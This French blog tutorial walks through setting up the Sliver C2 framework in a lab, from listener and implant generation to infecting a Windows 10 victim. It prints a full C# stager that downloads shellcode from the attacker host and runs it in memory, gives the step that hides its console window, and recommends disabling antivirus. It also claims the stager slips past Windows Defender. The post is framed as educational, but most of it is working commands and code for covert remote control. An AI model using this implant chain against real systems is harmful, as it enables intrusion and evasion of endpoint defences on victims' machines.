Blackshield

Étiquette : sliverc2

  • Guide Sliver C2

    Description

    J’ai rédigé ce uide tutoriel sur l’utilisation de Sliver.

    Sliver est un puissant framework C2 open-source développé par Bishop Fox (bishopfox.com/). Tu peux le télécharger ici : github.com/BishopFox/sliver.

    Environnement de test

    Ce guide a été réalisé dans un environnement de test et à vocation uniquement à des fins éducatives.

    Le Lab se compose de 2 machines :

    • 1 Kalilinux qui va servir de Serveur C2 Sliver
    • 1 Machine sous Windows 10 qui sera notre victime.

    Configuration du C2

    Installation de sliver

    La première étape est d’installer sliver sur notre machine à l’aide des commandes :

    # Install sliver
curl https://sliver.sh/install|sudo bash 

    #Demarre le service
sudo systemctl start sliver.service

    # Lance la commande sliver
sliver

    Si tous se déroule correctement vous devriez avoir le shell Sliver qui s’affiche comme sur la capture suivante.

    Configuration du listener

    Maintenant il faut configurer le Listener sur lequel les agents infecté vont se connecter.

    sliver > https --lhost 192.168.1.93 --lport 443`
    • L’option –lhost permet de configurer l’adresse IP sur lequel va écouter le listener.
    • L’option –lport permet de configurer le port sur lequel va écouter le listener.

    Les protocoles supporté pour la communication vers le C2 sliver sont :

    • HTTP(S)
    • mTLS
    • TCP
    • DNS

    Génération de l’implant

    sliver > generate --http https://192.168.1.93:443 --format exe --arch amd64 --evasion --save impl.exe`

    Inféction du client

    Le client va télécharger l’implant sur son poste en se connectant sur serveur web sur la machine de l’attaquant :

    python -m http.server 8080

    Cette commande doit être exécutée dans le répertoire où se trouve le fichier impl.exe généré par sliver.

    Coté client il suffit juste de se connecter à l’adresse IP de l’attaquant http://192.168.1.93:8080/impl.exe

    Il se peut que votre antivirus détecte qu’il s’agisse d’un fichier malveillant et donc empêche l’exécution, vous pouvez désactiver celui-ci pour exécuter votre implant sliver sur la machine.

    Sliver commence à être très connu par les éditeurs et entreprises dans le domaine de la cybersécurité donc en l’état risque d’être directement détecté.

    à ce stade vous devriez avoir une notification dans votre shell qu’une session c’est etablie vers votre serveur sliver

    Commandes

    Pour lister les sessions actvies sur sliver vous pouvez utiliser la commande

    sessions

    Pour interagir avec un agent il faut récupérer son `id` et lancer la commande :

    use 67e3f139 #id de ma session active

    Un grand nombre de commandes est disponible que l’on peut retrouver avec la commande :

    help

    Ces commandes vont être exécutée sur la machine infectée et renvoyées au serveur C2 sliver comme par sur la capture suivante :

    Aller plus loin

    Les stagers

    Qu’est-ce qu’un stager ?

    Un stager est un petit composant initial d’une chaîne d’infection qui a pour rôle de préparer l’environnement et de télécharger / lancer le payload principal (second stage). C’est souvent le premier morceau de code qui s’exécute sur la machine compromise après la phase d’intrusion initiale.

    L’illustration décrit le principe de fonctionnement d’un fileless pour le stage 2 c’est à dire que celui-ci ne sera pas présent en tant que fichier mais chargé et exécuté directement en mémoire par le stage 1

    Cette technique à l’avantage de pouvoir contourner certains antivirus et EDR, car le stage 1 embarque très peu de code et est très léger.

    Sliver implémente les stagers en utilisant les `profiles`, ce sont des sortes d’implants.

    profiles new --https 192.168.1.93 --format shellcode sliver-shellcode

    Maintenant il faut créer le listener du stager, l’URL sur laquelle le poste infecté va récupere le stage 2.

    stage-listener --url http://192.168.1.93:1234 --profile sliver-shellcode

    Génération du Stage 1

    A ce stade notre C2 est prêt à recevoir les connexions des machines infectés, il faut maintenant créer notre stage 1 qui va se connecter au C2 sliver pour récupérer la shellcode générée précédement et hébergée sur l’URL : http://192.168.1.93:1234

    La documentation officiel du site de Sliver propose un code déjà fait en C#

    Il faut modifier l’URL pour qu’il pointe vers votre serveur sliver et celui-ci renvoie la shellcode, peu importe le nom devant le .woff dans l’URI.

    using System;

using System.Net;

using System.Runtime.InteropServices;

namespace SliverStager

{

    public class Stager

    {

        private static string url = "http://192.168.1.93:1234/implant.woff";

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]

        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]

        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]

        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void DownloadAndExecute()

        {

            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;

            System.Net.WebClient client = new System.Net.WebClient();

            byte[] shellcode = client.DownloadData(url);

            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);

            Marshal.Copy(shellcode, 0, addr, shellcode.Length);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

            WaitForSingleObject(hThread, 0xFFFFFFFF);

            return;

        }

        public static void Main(String[] args)

        {

            DownloadAndExecute();

        }

    }

}

    Il faut bien sur avoir installer .NET sur une machine pour compiler le code du stage 1.

    Pour le télécharger vous pouver suivre ce lien :

    https://dotnet.microsoft.com/fr-fr/download

    Dans un terminal entrez la commande dotnet suivante pour créer un nouveau projet :

    dotnet new console

    Remplacer le code du fichier Program.cs généré par votre stage1 et entrer la commande suivante pour compiler :

    dotnet publish -r win-x64 -p:PublishSingleFile=true --self-contained false

    Pour que le fichier s’exécute sans l’apparition de la console coté utilisateur il faut remplacer dans le fichier csproj la ligne

    <OutputType>Exe</OutputType>

    par

    <OutputType>WinExe</OutputType>

    Normalement vous devriez avoir votre session qui apparait dans votre terminal sliver

    Vous pouvez également réactiver Windows Defender et logiquement il laissera s’exécuter votre stage 1 sans bloquer le ficher et sans création d’alerte.

    Aller plus loin

    J’espère que ce petit guide t’a plu et t’a aidé à comprendre comment mettre un serveur sliver en place rapidement et tester tes premiers implants.

    L’étape suivante consiste à utiliser des shellcode chiffrés pour encore moins de détection.

    Les 2 liens suivants sont une bonne base de lecture pour développer cette partie.

    • https://blog.balliskit.com/tutorial-sliver-c2-with-balliskit-macropack-and-shellcodepack-452e94c24b19
    • https://sliver.sh/docs?name=Stagers

    Autres projets

    IronLab — Passionné d’électronique, robotique, d’aviation, de l’espace & projets DIY

    Site Web | YouTube | TikTok | Instagram